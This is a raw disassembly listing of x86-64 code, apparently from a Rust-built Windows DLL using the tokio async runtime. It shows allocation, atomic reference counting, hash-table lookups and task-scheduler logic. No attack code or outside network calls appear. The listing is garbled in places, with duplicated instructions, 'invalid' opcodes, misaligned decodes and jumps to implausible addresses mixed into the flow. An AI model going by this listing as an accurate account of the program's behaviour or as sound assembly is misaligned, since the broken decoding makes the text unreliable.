mov rax, qword [rsp + 0x38]
mov qword [rdx + 0x58], rax
mov qword [rdx + 0x60], r14
mov qword [rdx + 0x68], r15
mov qword [rdx + 0x70], rbx
and qword [rdx + 0x78], 0
mov rax, qword [rsp + 0x48]
mov qword [rdx + 0x80], rax
mov qword [rdx + 0x88], r12
mov byte [rdx + 0x90], 0
mov qword [rdx + 0x98], r8
mov qword [rdx + 0xa0], rbp
and qword [rdx + 0xa8], 0
mov rax, qword [rsp + 0x40]
mov qword [rdx + 0xb0], rax
mov qword [rdx + 0xb8], rbp
and word [rdx + 0xc0], 0
mov qword [rdx + 0xc8], rbp
mov rax, qword [rsp + 0x30]
mov qword [rdx + 0xd0], rax
and qword [rdx + 0xd8], 0
movdqa xmm0, xmmword [rsp + 0x150]
movdqu xmmword [rdx + 0xe0], xmm0
mov rax, qword [rsp + 0x160]
mov qword [rdx + 0xf0], rax
and word [rdx + 0xf8], 0
and qword [rdx + 0x100], 0
mov r8d, 8
mov qword [rdx + 0x108], r8
and qword [rdx + 0x110], 0
mov rax, qword [rsp + 0xe8]
mov qword [rdx + 0x118], rax
mov rax, qword [rsp + 0x140]
mov qword [rdx + 0x120], rax
and word [rdx + 0x128], 0
mov eax, dword [rsp + 0x60]
mov dword [rdx + 0x12c], eax
mov eax, dword [rsp + 0xe0]
mov dword [rdx + 0x130], eax
lea rcx, [rsp + 0x90]
and qword [rcx], 0
mov eax, 8
mov qword [rsp + 0x30], rax
mov qword [rcx + 8], r8
and qword [rcx + 0x10], 0
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
and qword [rsp + 0x80], 0
lea rcx, [rax + rbx*8]
mov qword [r13], rax
mov qword [r13 + 8], rcx
lea rcx, [rsp + 0x70]
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], rbx
pxor xmm0, xmm0
movdqu xmmword [r13 + 0x20], xmm0
shl rbx, 3
xor r12d, r12d
xor r15d, r15d
mov qword [rsp + 0x38], rdx
test rbx, rbx
je 0x180019e91
lea r13, [rax + 8]
mov qword [rsp + 0x7e0], r13
mov rbp, qword [rax]
lea rsi, [r15 + 1]
mov qword [rsp + 0x808], rsi
lock inc qword [rdx]
jle 0x18001b4c8
mov r14, rdx
mov ecx, 0x28
mov edx, 8
call fcn.18005f61f
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r15
mov qword [rdi + 0x20], rbp
cmp r12, qword [rsp + 0x90]
mov rdx, r14
jne 0x180019e6e
lea rcx, [rsp + 0x90]
call fcn.180061286
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rax
mov r12, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x30]
mov qword [rax + r12*8], rdi
inc r12
mov qword [rsp + 0xa0], r12
add rbx, 0xfffffffffffffff8
mov r15, rsi
mov rax, r13
jmp 0x180019ddf
lea r15, [rsp + 0x7e0]
mov rcx, r15
mov rbx, rdx
call fcn.18005fc98
lea rsi, [rsp + 0x90]
movups xmm0, xmmword [rsi]
movaps xmmword [r15], xmm0
mov rax, qword [rsi + 0x10]
mov qword [r15 + 0x10], rax
lea rcx, [rsp + 0x70]
call fcn.18005e0f2
lea rcx, [rsp + 0x50]
call fcn.18005e766
movdqa xmm0, xmmword [r15]
lea rdi, [rsp + 0x1a0]
movdqa xmmword [rdi], xmm0
mov rax, qword [r15 + 0x10]
mov qword [rdi + 0x10], rax
mov edx, 1
mov rcx, rsi
mov r8, rbx
call fcn.18005f001
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
and qword [rdi + 0x10], 0
lea rcx, [rax + rdx*8]
mov qword [rsp + 0x2a8], rcx
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], rdx
and qword [rsp + 0x2c0], 0
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
cmp rax, rcx
je 0x18001a61c
lea rcx, [rax + 8]
mov qword [rsp + 0x2a0], rcx
mov rbx, qword [rax]
call fcn.18005f35d
test rax, rax
je 0x18001b51a
mov rcx, rax
call fcn.180061606
mov rdi, rdx
mov rcx, qword [rax]
cmp rcx, 2
je 0x18001b51f
mov rdx, qword [rax + 8]
call fcn.18005f5fa
mov rsi, rdx
dec qword [rdi]
cmp rax, 2
je 0x18001b524
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rsi
lea rcx, [rsi + 0x120]
add rsi, 0xc0
test rax, rax
cmovne rsi, rcx
mov edi, 1
lock xadd qword [0x18008b120], rdi
mov ecx, 0x80
mov edx, 0x80
call fcn.18005f61f
mov r14, rax
mov qword [rax], 0xcc
and qword [rax + 8], 0
lea rax, [0x180080998]
mov qword [r14 + 0x10], rax
and qword [r14 + 0x18], 0
mov qword [r14 + 0x20], rdi
mov qword [r14 + 0x28], 2
mov qword [r14 + 0x30], rbx
and qword [r14 + 0x58], 0
movups xmmword [r14 + 0x48], xmm6
mov rbx, qword [rsi]
lea rcx, [rbx + 0x40]
call fcn.180060227
mov r13, rax
mov r12d, edx
and r12b, 1
cmp byte [rax + 0x84], 0
je 0x18001a045
mov rcx, r14
call fcn.18005f0bd
xor ebp, ebp
mov rcx, r13
mov edx, r12d
call fcn.180060d58
test rbp, rbp
je 0x18001a4b5
jmp 0x18001b534
mov rcx, qword [r13 + 8]
mov rax, qword [r13 + 0x20]
cmp rax, rcx
jne 0x18001a063
lea rcx, [r13 + 8]
call fcn.180061115
mov rcx, qword [r13 + 8]
mov rax, qword [r13 + 0x20]
mov rdx, qword [r13 + 0x18]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovb rcx, r8
sub rdx, rcx
mov rcx, qword [r13 + 0x10]
shl rdx, 4
mov qword [rcx + rdx], r14
mov byte [rcx + rdx + 8], 1
inc rax
mov qword [r13 + 0x20], rax
lock inc qword [rbx + 0x100]
mov rax, qword [rbx + 0xf8]
test rax, rax
je 0x18001a0c9
lock dec qword [rbx + 0xf8]
inc dword [r13 + 0x80]
add rbx, 0x108
mov rcx, rbx
call fcn.180059be0
jmp 0x18001a4aa
mov rax, qword [rbx + 0xf0]
cmp rax, qword [rbx + 0xe8]
je 0x18001a4aa
mov rax, qword [r13 + 0x58]
test rax, rax
je 0x18001b5c7
lock inc qword [rax]
jle 0x18001b4c8
mov qword [rsp + 0x58], rax
mov rax, qword [r13 + 0x78]
js 0x18001a146
mov dword [rsp + 0x30], eax
mov rax, qword [rbx + 0x30]
mov r8, qword [rbx + 0x38]
mov rcx, qword [r8 + 0x10]
adc byte [rax - 1], cl
leave
adc byte [rax - 1], cl
leave
and rcx, 0xfffffffffffffff0
lea rdx, [rax + rcx]
add rdx, 0x10
mov rcx, r15
adc byte [rcx + rcx*4 - 7], cl
call qword [r8 + 0x28]
mov r15, qword [rbx + 0x10]
test r15, r15
je 0x18001a136
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x40], rax
mov rsi, qword [rsp + 0x7e0]
mov rbp, qword [rsp + 0x7e8]
mov rdi, qword [rsp + 0x7f0]
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
call fcn.18005f5fa
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], rdx
test r15, r15
jne 0x18001a17c
call fcn.180056d20
mov qword [rsp + 0x40], rax
movabs rax, 0x8000000000000000
cmp rsi, rax
lea r15, [rsp + 0x7e0]
jne 0x18001a197
xor ebp, ebp
jmp 0x18001a20a
cmp rdi, 0xf
ja 0x18001a1b0
xor edx, edx
cmp rdi, rdx
je 0x18001a1bf
cmp byte [rbp + rdx], 0
je 0x18001a1c6
inc rdx
jmp 0x18001a19f
xor ecx, ecx
mov rdx, rbp
mov r8, rdi
call fcn.1800287e0
jmp 0x18001a1cb
mov rdx, rdi
xor eax, eax
jmp 0x18001a1cb
mov eax, 1
test rax, rax
je 0x18001a1e4
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x18001a20a
jmp 0x18001b650
mov qword [rsp + 0x7e0], rsi
mov qword [rsp + 0x7e8], rbp
call 0x1c801a1fc
mov dword [rsp + 0x7f0], edi
call 0x1c801a1fc
mov dword [rsp + 0x7f0], edi
mov rcx, r15
call fcn.18001f270
insb byte [rdi], dx
push rax
add byte [rax], al
insb byte [rdi], dx
push rax
add byte [rax], al
mov rbp, rax
mov rdi, rdx
mov rcx, rbp
mov rdx, rdi
call fcn.180046a70
mov qword [rsp + 0x70], rax
lock inc qword [rax]
jle 0x18001b4c8
mov rbp, rax
mov ecx, 0x30
mov edx, 8
call fcn.18005f61f
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
movups xmmword [rdi + 0x10], xmm6
mov qword [rsp + 0x150], rdi
lock inc qword [rdi]
jle 0x18001b4c8
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.18004cb20
mov esi, 0x48000328
mov esi, eax
mov esi, 0x48000328
mov esi, eax
test rax, rax
je 0x18001a279
lock inc qword [rsi]
inc qword [rsi]
jle 0x18001b4c8
mov rcx, rsi
jmp 0x18001a27b
xor ecx, ecx
call fcn.18004cb20
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x48], edi
add rdi, 0x10
mov qword [rsp + 0x7e0], rax
mov rcx, r15
stc
stc
call fcn.180006563
mov rcx, qword [rdi]
test rcx, rcx
je 0x18001a2aa
add rcx, 0x10
call fcn.180045940
mov ecx, 0x38
mov edx, 8
call fcn.18005f61f
push rbx
add al, 0
mov qword [rax], rbp
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x10], esi
mov dword [rax + 0x10], esi
mov rcx, qword [rsp + 0x68]
mov qword [rax + 0x18], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x20], rcx
and byte [rax - 0x75], cl
and al, 0x58
invalid
mov ecx, dword [rsp + 0x58]
mov qword [rax + 0x28], rcx
mov rsi, qword [rsp + 0x30]
mov qword [rax + 0x30], rsi
mov rcx, qword [rsp + 0x40]
mov rdx, rax
lea r8, [0x18007f3f0]
add al, ch
mov edi, 0x480003cd
mov ecx, ebp
push rax
invalid
add al, ch
mov edi, 0x480003cd
mov ecx, ebp
mov rbp, rdx
test rax, rax
je 0x18001a340
xor al, 0x48
lea ecx, [rsp + 0x150]
lea rcx, [rsp + 0x150]
call fcn.18005e462
lea rcx, [rsp + 0x70]
add byte [rax - 0x73], cl
and al, 0x70
call fcn.18005e453
mov eax, ebp
and eax, 3
lea rdx, [0x18008239c]
movsxd rcx, dword [rdx + rax*4]
add rcx, rdx
jmp rcx
mov cl, byte [rbp + 0x10]
jmp 0x18001a52a
mov qword [rsp + 0x60], rcx
lock inc qword [rbx + 0xf0]
inc qword [r13 + 0x78]
mov rcx, qword [r13 + 0x48]
mov rdx, qword [r13 + 0x50]
mov r8, rsi
call fcn.18005f403
mov rdi, rax
cmp qword [r13 + 0x38], 0
je 0x18001a583
mov rax, qword [r13 + 0x28]
mov rsi, qword [r13 + 0x30]
mov rbx, rsi
and rbx, rdi
shr rdi, 0x39
mov qword [rsp + 0xe0], rdi
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm8, xmm0, 0
lea rdi, [rax - 0x20]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x40], rdx
movdqu xmm9, xmmword [rax + rbx]
movdqa xmm0, xmm8
movq mm0, mm0
movq mm0, mm0
pcmpeqb xmm0, xmm9
pmovmskb eax, xmm0
mov word [rsp + 0x7e0], ax
add byte [rax], al
add byte [rax], al
mov rcx, r15
call fcn.18000a547
test rax, rax
je 0x18001a3fb
add rdx, rbx
add edx, ebx
and rdx, rsi
mov rax, rdx
shl rax, 5
mov rcx, rdi
sub rcx, rax
mov rax, qword [rsp + 0x30]
cmp qword [rcx], rax
jne 0x18001a3cf
jmp 0x18001a461
cmp qword [rsp + 0x68], 1
mov eax, 1
je 0x18001a42d
movdqa xmmword [rsp + 0x1d0], xmm9
mov rcx, rsi
lea rdx, [rsp + 0x1d0]
mov r8, rbx
call fcn.18000a96d
mov qword [rsp + 0x1c0], rdx
pcmpeqb xmm9, xmm7
pmovmskb ecx, xmm9
test ecx, ecx
mov rdx, qword [rsp + 0x40]
jne 0x18001a598
mov qword [rsp + 0x68], rax
add rbx, rdx
add rbx, 0x10
add rdx, 0x10
and rbx, rsi
mov rax, qword [rsp + 0x58]
jmp 0x18001a3ae
neg rdx
shl rdx, 5
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx + rdx - 8]
mov qword [rsp + 0x7f0], rax
movdqu xmm0, xmmword [rcx + rdx - 0x18]
movdqa xmmword [rsp + 0x7e0], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rcx + rdx - 0x18], rax
mov rax, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov qword [rcx + rdx - 0x10], rax
mov qword [rcx + rdx - 8], rbp
mov rcx, r15
call fcn.18005e272
mov rcx, r13
mov edx, r12d
call fcn.180060d58
lea rcx, [rsp + 0xf0]
call fcn.18005dedd
sbb edi, dword [rdx]
add al, 0
lock add byte [rax], al
add al, ch
sbb edi, dword [rdx]
add al, 0
mov eax, 0xcc
mov ecx, 0x84
add al, dh
cmpxchg qword [r14], rcx
add al, dh
cmpxchg qword [r14], rcx
je 0x18001a4dd
or cl, byte [rcx - 0x75]
adc byte [rcx + r9*4 - 0xf], r9b
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax + 0x20]
mov rax, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x2a8]
jmp 0x180019f31
movabs al, byte [0xa8248c8b48000002]
add al, byte [rax]
add cl, ch
invalid
mov rax, rbp
mov eax, ebp
shr rax, 0x20
cmp eax, 0x2733
jne 0x18001a02c
mov rax, qword [rbx + 0xf0]
test rax, rax
jne 0x18001a4aa
lock add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp - 0x66], 0xe9
invalid
jmp 0x18001a02c
mov rcx, rbp
shr rcx, 0x20
cmp ecx, 0x29
jae 0x18001a02c
jmp 0x1a0eb6664
jmp 0x18001a52a
mov cl, byte [rbp + 0xf]
cmp cl, 0xd
jne 0x18001a02c
mov rcx, qword [rbx + 0xf0]
test rcx, rcx
je 0x18001a02c
cmp eax, 1
jne 0x18001a4aa
mov rsi, qword [rbp - 1]
mov rdi, qword [rbp + 7]
mov rcx, rsi
call qword [rdi]
mov r8, qword [rdi + 8]
test r8, r8
je 0x18001a56e
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1800097d8
dec rbp
mov edx, 8
mov rcx, rbp
call fcn.18001b8e0
jmp 0x18001a4aa
lea rcx, [r13 + 0x28]
mov rdx, r13
add rdx, 0x48
call fcn.18006b135
jmp 0x18001a36f
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x1c0]
mov al, byte [rdx + r8]
test al, al
js 0x18001a5bd
movdqa xmm0, xmmword [rdx]
pmovmskb eax, xmm0
bsf r8d, eax
mov al, byte [rdx + r8]
and al, 1
movzx eax, al
sub qword [r13 + 0x38], rax
lea rax, [r8 - 0x10]
and rax, rsi
mov rcx, qword [rsp + 0xe0]
mov byte [rdx + r8], cl
mov byte [rdx + rax + 0x10], cl
inc qword [r13 + 0x40]
shl r8, 5
mov rax, rdx
sub rax, r8
neg r8
mov rcx, qword [rsp + 0x30]
mov qword [rdx + r8 - 0x20], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rax - 0x18], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax - 0x10], rcx
mov qword [rax - 8], rbp
and qword [rsp + 0x7e0], 0
jmp 0x18001a4a2
lea rax, [0x180081690]
lea rcx, [rsp + 0x2a0]
mov qword [rcx], rax
mov qword [rcx + 8], rax
call fcn.18005ea63
mov rcx, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1b0]
call fcn.1800613ec
mov r8, qword [rsp + 0x1a0]
test r8, r8
je 0x18001a66f
shl r8, 3
mov rcx, qword [rsp + 0x1a8]
mov edx, 8
call fcn.1800097d8
lea rcx, [rsp + 0x90]
call fcn.18005f229
cmp qword [rsp + 0x148], 0
je 0x18001b5df
mov eax, 1
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x98], rcx
movdqu xmm0, xmmword [rsp + 0x7e0]
movdqu xmmword [rsp + 0xa0], xmm0
mov rcx, qword [rsp + 0x7f0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rax
mov r8, qword [rsp + 0x38]
mov qword [rsp + 0xc8], r8
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x1a0]
mov edx, 1
call fcn.18005f001
cmp qword [rsp + 0x90], 0
je 0x18001a7ce
call fcn.180009490
test rax, rax
je 0x18001a884
mov rsi, rax
cmp byte [rax + 0x4e], 2
jne 0x18001a892
mov byte [rsi + 0x4e], 1
cmp qword [rsp + 0xc0], 0
mov eax, 0xc8
mov ecx, 0x128
cmove rcx, rax
add rcx, qword [rsp + 0xc8]
call fcn.180060c7e
mov ebp, eax
mov r14d, edx
mov eax, dword [rsi + 0x48]
lea rcx, [rsp + 0x7e0]
mov dword [rcx + 8], eax
mov rax, qword [rsi + 0x40]
mov qword [rcx], rax
call fcn.180007c6f
mov ebx, eax
mov edi, edx
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], ebp
mov dword [rsi + 0x48], r14d
mov r8, qword [rsp + 0xc0]
mov r9, qword [rsp + 0xc8]
lea r14, [rsp + 0x7e0]
mov rcx, r14
mov rdx, rsi
call fcn.18005f54f
mov rax, qword [r14]
movdqu xmm0, xmmword [r14 + 8]
movdqa xmmword [rsp + 0x2a0], xmm0
jmp 0x18001a897
mov byte [rsp + 0xd10], 0
call fcn.180009490
test rax, rax
je 0x18001a96d
mov rsi, rax
cmp byte [rax + 0x4e], 2
jne 0x18001a97b
mov byte [rsi + 0x4e], 0
cmp qword [rsp + 0xc0], 0
mov eax, 0xc8
mov ecx, 0x128
cmove rcx, rax
add rcx, qword [rsp + 0xc8]
call fcn.180060c7e
mov ebp, eax
mov r14d, edx
mov eax, dword [rsi + 0x48]
lea rcx, [rsp + 0x2a0]
mov dword [rcx + 8], eax
mov rax, qword [rsi + 0x40]
mov qword [rcx], rax
call fcn.180007c6f
mov ebx, eax
mov edi, edx
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], ebp
mov dword [rsi + 0x48], r14d
mov r8, qword [rsp + 0xc0]
mov r9, qword [rsp + 0xc8]
lea r14, [rsp + 0x2a0]
mov rcx, r14
mov rdx, rsi
call fcn.18005f54f
mov rax, qword [r14]
movdqu xmm0, xmmword [r14 + 8]
movdqa xmmword [rsp + 0x150], xmm0
jmp 0x18001a980
mov qword [rsp + 0x7e0], 4
jmp 0x18001a8bf
mov eax, 3
mov qword [rsp + 0x7e0], rax
movdqa xmm0, xmmword [rsp + 0x2a0]
movdqu xmmword [rsp + 0x7e8], xmm0
mov dword [rsp + 0x7f8], ebx
mov dword [rsp + 0x7fc], edi
lea rsi, [rsp + 0xf0]
lea rdx, [rsp + 0x7e0]
mov rcx, rsi
call fcn.180007ce9
cmp dword [rsi], 3
je 0x18001b68b
mov byte [rsp + 0x7d0], 0
call fcn.1800614f4
test rax, rax
je 0x18001b6c5
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rsi, [rsp + 0x150]
lea rax, [rsp + 0x70]
mov qword [rsi], rax
mov qword [rsi + 8], rax
and qword [rsi + 0x10], 0
lea rdi, [rsp + 0x7e0]
lea rdx, [rsp + 0x2a0]
mov r8d, 0x538
mov rcx, rdi
call fcn.180068d66
call fcn.180009490
test rax, rax
je 0x18001a950
mov bl, byte [rax + 0x4c]
mov bpl, byte [rax + 0x4d]
mov word [rax + 0x4c], 0x8001
jmp 0x18001a952
mov bl, 2
mov rcx, rdi
mov rdx, rsi
call fcn.18001b854
mov ecx, ebx
mov edx, ebp
call fcn.1800607a4
call fcn.1800615be
jmp 0x18001a937
mov qword [rsp + 0x2a0], 4
jmp 0x18001a9a8
mov eax, 3
mov qword [rsp + 0x2a0], rax
movdqa xmm0, xmmword [rsp + 0x150]
movdqu xmmword [rsp + 0x2a8], xmm0
mov dword [rsp + 0x2b8], ebx
mov dword [rsp + 0x2bc], edi
lea rsi, [rsp + 0xd20]
lea rdx, [rsp + 0x2a0]
mov rcx, rsi
call fcn.180007ce9
cmp dword [rsi], 3
je 0x18001b7e8
lea rcx, [rsp + 0xc0]
call fcn.180061a04
mov qword [rsp + 0x38], rax
lea r15, [rsp + 0x2b0]
xorps xmm6, xmm6
xor eax, eax
xchg qword [rsp + 0xb8], rax
test rax, rax
jne 0x18001aeee
mov qword [rsp + 0x150], 2
mov rax, qword [rsp + 0x98]
shr rax, 2
movups xmmword [r15], xmm6
and qword [r15 + 0x10], 0
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x2a0], rcx
mov qword [rsp + 0x2a8], rax
lea rdx, [rsp + 0x2c8]
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x199]
mov ecx, dword [rsp + 0x19c]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
call fcn.1800614f4
test rax, rax
je 0x18001b591
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
and qword [rsp + 0x80], 0
call fcn.180009490
test rax, rax
je 0x18001aaab
mov r13b, byte [rax + 0x4c]
mov cl, byte [rax + 0x4d]
mov byte [rsp + 0x30], cl
mov word [rax + 0x4c], 0x8001
jmp 0x18001aaae
mov r13b, 2
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x2a0]
lea r12, [rdi + 8]
movzx eax, byte [rsp + 0x2d8]
test eax, eax
jne 0x18001ab94
mov rcx, qword [rdi]
and rcx, 0xfffffffffffffffc
lea rax, [rcx + 2]
lock cmpxchg qword [rdi], rcx
jne 0x18001aaeb
mov byte [rsp + 0x2d8], 2
jmp 0x18001aabf
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax]
mov rbx, rax
mov r14, rdx
mov rcx, r12
call fcn.180060227
mov rcx, rax
and dl, 1
mov r8, qword [rdi]
mov rax, r8
shr rax, 2
cmp rax, qword [rsp + 0x2a8]
jne 0x18001ab7c
mov rax, r8
and rax, 3
je 0x18001ab50
cmp eax, 2
jne 0x18001ac46
and r8, 0xfffffffffffffffc
lea rax, [r8 + 2]
lock cmpxchg qword [rdi], r8
je 0x18001ab7c
mov r8, rax
and rax, 3
mov qword [rsp + 0x50], rax
je 0x18001ab1c
jmp 0x18001b410
and r8, 0xfffffffffffffffc
lea r9, [r8 + 1]
mov rax, r8
lock cmpxchg qword [rdi], r9
je 0x18001ac4f
mov r8, rax
and eax, 3
mov qword [rsp + 0x50], rax
cmp rax, 2
je 0x18001ab1c
jmp 0x18001b42c
mov byte [rsp + 0x2d8], 2
call fcn.180060d58
mov rcx, r14
call qword [rbx + 0x18]
jmp 0x18001aabf
cmp eax, 1
jne 0x18001ad4d
lea rbp, [rsp + 0x2d0]
mov rcx, rbp
mov dl, 2
call fcn.18006326c
test rax, rax
jne 0x18001ae5b
mov rcx, r12
call fcn.180060227
mov rbx, rax
mov r14d, edx
mov rcx, rbp
xor edx, edx
call fcn.18006326c
test rax, rax
jne 0x18001ae96
mov rax, qword [rdi]
shr rax, 2
mov rbp, qword [rsp + 0x2c0]
cmp rax, qword [rsp + 0x2a8]
je 0x18001acf4
mov rsi, qword [rsp + 0x2c8]
and qword [rsp + 0x2c0], 0
mov rcx, rbx
add rcx, 8
lea rdx, [rsp + 0x2b0]
call fcn.1800614b4
mov byte [rsp + 0x2d8], 2
and r14b, 1
mov rcx, rbx
mov edx, r14d
call fcn.180060714
test rbp, rbp
je 0x18001aabf
mov rcx, rsi
call qword [rbp + 0x18]
jmp 0x18001aabf
cmp eax, 1
jne 0x18001b3f8
mov rdi, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2c8]
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], r14
lea r8, [rsp + 0x2b0]
mov qword [rsp + 0x50], r8
mov rax, qword [rcx + 8]
cmp rax, r8
je 0x18001b4ca
mov qword [rsp + 0x2b8], rax
and qword [rsp + 0x2b0], 0
test rax, rax
mov bpl, byte [rsp + 0x30]
je 0x18001aca7
mov qword [rax], r8
mov qword [rcx + 8], r8
cmp qword [rcx + 0x10], 0
jne 0x18001acb6
mov qword [rcx + 0x10], r8
mov byte [rsp + 0x2d8], 1
call fcn.180060714
test rdi, rdi
je 0x18001acce
mov rcx, rsi
call qword [rdi + 0x18]
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0x70]
call fcn.18001b854
mov ecx, r13d
mov edx, ebp
call fcn.1800607a4
call fcn.1800615be
jmp 0x18001aa8e
mov rax, qword [r15]
test rbp, rbp
je 0x18001ad13
mov rcx, qword [r15 + 8]
cmp qword [rsp + 0x2c8], rcx
jne 0x18001ad17
cmp rbp, rax
jne 0x18001ad17
xor edi, edi
jmp 0x18001ad39
mov rcx, qword [r15 + 8]
call qword [rax]
mov rdi, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2c8]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], rdx
mov bpl, byte [rsp + 0x30]
and r14b, 1
mov rcx, rbx
mov edx, r14d
jmp 0x18001acbe
lea r15, [rsp + 0x2b0]
mov bl, byte [rsp + 0x30]
mov ecx, r13d
mov edx, ebx
call fcn.1800607a4
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
call qword [rax + 0x18]
cmp byte [rsp + 0x2d8], 1
jne 0x18001ae23
mov r14, qword [rsp + 0x2a0]
lea rcx, [r14 + 8]
call fcn.180060227
mov rsi, rax
mov ebx, edx
mov r12, qword [r14]
lea rcx, [rsp + 0x2d0]
xor edx, edx
call fcn.18006326c
mov rbp, rax
lea r13, [rsi + 8]
mov rcx, r13
mov rdx, r15
call fcn.1800614b4
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.18006199a
test al, al
je 0x18001ade4
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x18001ade4
and r12, 0xfffffffffffffffc
mov rax, r12
xchg qword [r14], rax
and bl, 1
cmp rbp, 1
jne 0x18001ae19
mov rcx, r13
mov rdx, r14
mov r8, r12
call fcn.1800618a8
test rax, rax
je 0x18001ae19
mov r14, rax
mov r12, rdx
mov rcx, rsi
mov edx, ebx
call fcn.180060714
mov rcx, r12
call qword [r14 + 8]
jmp 0x18001ae23
mov rcx, rsi
mov edx, ebx
call fcn.180060d58
mov rax, qword [rsp + 0x2c0]
test rax, rax
je 0x18001ae3b
mov rcx, qword [rsp + 0x2c8]
call qword [rax + 0x18]
cmp dword [rsp + 0x150], 2
je 0x18001a9e6
lea rcx, [rsp + 0x150]
call fcn.18000722d
jmp 0x18001a9e6
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2c8]
and qword [rsp + 0x2c0], 0
test rax, rax
je 0x18001ae7c
call qword [rax + 0x18]
mov qword [rsp + 0x2d0], 0
lea r15, [rsp + 0x2b0]
mov bl, byte [rsp + 0x30]
jmp 0x18001aee1
mov rdi, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2c8]
and qword [rsp + 0x2c0], 0
mov qword [rsp + 0x2d0], 0
and r14b, 1
mov rcx, rbx
mov edx, r14d
call fcn.180060714
test rdi, rdi
lea r15, [rsp + 0x2b0]
mov bl, byte [rsp + 0x30]
je 0x18001aee1
mov rcx, rsi
call qword [rdi + 0x18]
mov byte [rsp + 0x2d8], 2
jmp 0x18001ad59
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx]
lock inc qword [rcx]
jle 0x18001b4c8
lea rsi, [rsp + 0x150]
and qword [rsi], 0
mov qword [rsi + 8], rcx
and qword [rsi + 0x10], 0
mov qword [rsi + 0x18], rax
pxor xmm0, xmm0
lea rax, [rsp + 0x170]
movdqu xmmword [rax], xmm0
mov qword [rsi + 0x30], 8
and qword [rsi + 0x38], 0
lea rax, [rsp + 0x98]
mov qword [rsi + 0x40], rax
lea rbx, [rsp + 0x2a0]
mov ecx, 9
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, rbx
call fcn.1800617a5
mov rdi, rax
lea rsi, [rax + 8]
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, rsi
call fcn.18005f303
mov r14, rdx
mov r12, qword [rax]
and qword [rax], 0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, r12
call fcn.180007cc3
inc qword [r14]
call fcn.180009490
test rax, rax
je 0x18001b822
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x38], rax
mov qword [rax + 0x38], rbx
mov rax, qword [rdi]
mov byte [rax + 0xb0], 1
add rax, 0x10
lea rcx, [0x180081340]
mov qword [rsp + 0x70], rcx
